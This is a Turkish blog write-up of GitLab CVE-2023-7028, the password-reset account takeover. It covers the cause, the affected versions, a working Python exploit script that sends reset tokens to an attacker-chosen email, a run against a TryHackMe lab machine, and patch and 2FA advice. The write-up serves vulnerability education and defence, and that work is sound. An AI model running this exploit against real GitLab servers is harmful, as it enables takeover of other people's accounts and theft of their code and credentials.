Post

CVE: GitLab CVE-2023-7028

CVE: GitLab CVE-2023-7028

GitLab, yazılım geliştirme projelerinde kaynak kodu yönetimi, sürekli entegrasyon ve işbirliği için kapsamlı bir platform sağlayan, tanınmış ve yaygın olarak benimsenmiş web tabanlı bir depo yöneticisidir. Ocak 2024’te platform, Community ve Enterprise Edition sürümünde yetkisiz kullanıcıların, potansiyel olarak yönetici hesapları da dahil olmak üzere, mağdurun herhangi bir etkileşimi olmadan kullanıcı hesaplarını ele geçirmesine olanak tanıyan kritik bir güvenlik açığı tespit etti. Güvenlik açığı asterion04 tarafından özel bir hata ödül programı aracılığıyla tespit edilmiş ve Kritik önem derecesi ve CVE-ID 2023-7028 olarak atanmıştır.

Nasıl Çalışıyor ?

Güvenlik açığı, GitLab’ın parola sıfırlama sırasında e-posta doğrulamasını işleme biçimindeki bir hatadan kaynaklanıyordu. Bir saldırgan parola sıfırlama isteği sırasında iki e-posta adresi sağlayabilir ve sıfırlama kodu her iki adrese de gönderilir. Bu, saldırganın kullanıcının mevcut parolasını bilmese bile herhangi bir kullanıcının parolasını sıfırlamasına olanak tanıyordu.


Etkilenen Versiyonlar

  • 16.1 ➜ 16.1.5
  • 16.2 ➜ 16.2.8
  • 16.3 ➜ 16.3.6
  • 16.4 ➜ 16.4.4
  • 16.5 ➜ 16.5.5
  • 16.6 ➜ 16.6.3
  • 16.7 ➜ 16.7.1


Etkisi

Başarılı bir saldırı, saldırganın kurbanın GitLab hesabını kontrol etmesini sağlayabilir. Bu da saldırganın kaynak kodu, işlem geçmişi ve kullanıcı kimlik bilgileri gibi hassas bilgileri çalmasına olanak sağlayabilir. Saldırgan, ele geçirdiği hesabı diğer kullanıcılara veya sistemlere karşı başka saldırılar başlatmak için de kullanabilir.


Detaylı Teknik Açıklama

Bu güvenlik açığı, GitLab’ın POST /users/password API uç noktasında bulunuyordu ve parola sıfırlamaktan sorumluydu. Pentester, e-posta adresi doğrulamasındaki bir hatayı istismar ederek geçersiz formatlarla yapılan kontrolleri atlattı. Saldırgan tarafından kontrol edilen bir e-posta ile parola sıfırlama isteği gönderildiğinde, GitLab yanlışlıkla bir sıfırlama jetonu oluşturup bu geçersiz adrese gönderdi. Saldırganlar bu jetonu ele geçirerek geçerli bir hedef kullanıcının e-postasıyla birleştirip parola sıfırlama sürecini başlattı ve sonunda hesabı ele geçirdi.

GitLab’daki parola sıfırlama isteğine baktığımızda, /users/password uç noktasına bir istek gönderildiğini görebiliriz. Bu istek, authenticity_token ve e-posta adresini parametre olarak içerir. Eğer hedef kullanıcı ek bir ikincil e-posta adresi sağlarsa, parola sıfırlama jetonu bu adrese de gönderilir.

alt text

Güvenlik açığının nasıl çalıştığını daha iyi anlamak için kaynak kod değişikliğine bakabilirsiniz.


spec/controllers/passwords_controller_spec.rb dosyasında bulunan kod, giriş olarak birden fazla e-posta adresini kabul ediyordu. Ancak, bu e-postaların doğru kullanıcıya ait olup olmadığını doğrulayan bir e-posta doğrulama ve doğrulama mekanizmasına sahip değildi.

spec/controllers/passwords_controller_spec.rb


Saldırganın hedef hesabı ele geçirmek için yalnızca form gönderimi sırasında authenticity_token ve hedef kişinin e-posta adresine ihtiyacı vardı.


Nasıl Sömürülür ?

Bu güvenlik açığını daha iyi anlamak için TryHackMe üzerinde bulunan GitLab zaafiyetini barındıran Ubuntu tabanlı bir makine kullanacağız.

Güvenlik açığından faydalanmak bir pentester için basittir, yalnızca hedef e-posta adresi ile /users/password yöntemine bir API çağrısı gerektirir.


Payload’ın Hazırlanması

Kodun orijinal haline göz atmak isterseniz bakabilirsiniz : Vozec PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()

class CVE_2023_7028:
    def __init__(self, url, target, evil=None):
        self.use_temp_mail = False
        self.url = urlparse(url)
        self.target = target
        self.evil = evil
        self.s = requests.session()

    def get_csrf_token(self):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
            regex = r'<meta name="csrf-token" content="(.*?)" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def ask_reset(self):
        token = self.get_csrf_token()
        if not token:
            return False

        query_string = urlencode({
            'authenticity_token': token,
            'user[email][]': [self.target, self.evil]
        }, doseq=True)

        head = {
            'Origin': f'{self.url.scheme}://{self.url.netloc}',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
            'Connection': 'close',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate, br'
        }

        print('[DEBUG] Sending reset password request')
        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           data=query_string,
                           headers=head,
                           verify=False).text
        sended = 'If your email address exists in our database' in html
        if sended:
            print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
            print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
        else:
            print('[DEBUG] Failed ... quitting')
        return sended

def parse_args():
    parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
    parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
    parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
    parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    exploit = CVE_2023_7028(
        url=args.url,
        target=args.target,
		evil=args.evil
    )
    if not exploit.ask_reset():
        exit()


Sömürü

İlk olarak, /users/password/new endpointine bir POST isteği gönderiliyor. Bu post isteğinin amacı authenticity token yani türkçe karşılığıyla kimlik doğrulama belirteci almaktır. Web uygulamaları CSRF (Cross-Site Request Forgery) saldırılarını önlemek amacıyla genellikle formlara gizli bir token ekler. Ayrıca bu token parola sıfırlama isteğinde gereklidir.

Elimizdeki kurbanın e-posta adresi : victim@mail.gitlab.thm

Saldırganın yani bizim e-posta adresimiz : attacker@mail.gitlab.thm


Şimdi terminal ekranımızı açarak kodumuzu çalıştırabiliriz.

1
2
3
4
5
6
C:\Users\bilal> python3 poc.py -u http://10.10.102.19:8000 -t victim@mail.gitlab.thm -e attacker@mail.gitlab.thm
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 2_gh9AIoZ1ehvVmp7F_jWvK2V10andHNpbPa7u5br-6tWnKVcoP0kTduhBQ6jbFjG2kJ63ol_4B3ruMTjinbVg
[DEBUG] Sending reset password request
[DEBUG] Emails sent to victim@mail.gitlab.thm and attacker@mail.gitlab.thm !
...


Komutu başarılı bir şekilde çalıştırdıktan sonra saldırgan e-posta adresimize aşağıda görüldüğü bir şifre sıfırlama maili gelecektir.

Password Reset

Şimdi bize gelen şifre sıfırlama bağlantısını kullanarak şifre sıfırlama işlemini gerçekleştirebiliriz.

Şifreyi değiştiriyoruz


Şifreyi değiştirdikten sonra başarılı bir şekilde giriş yapabiliriz.

Login

Sonuç

  • En son güvenlik yamalarını yükleyin. Özellikle 16.7.2, 16.6.4, 16.5.6 ve üzeri sürümlere güncelleyin.

  • Eğer şüpheli bir parola sıfırlama e-postası aldıysanız, hemen GitLab yöneticinizle iletişime geçin.

  • İki Faktörlü Kimlik Doğrulamayı (2FA) Etkinleştirin. Böylece saldırgan parolanızı ele geçirse bile hesabınıza erişemez.

  • GitLab hesap aktivitelerinizi düzenli olarak kontrol edin. (Yöneticiyseniz log kayıtlarını inceleyin.)


Detaylar için buraya da göz atabilirsiniz. GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6


This post is licensed under CC BY 4.0 by the author.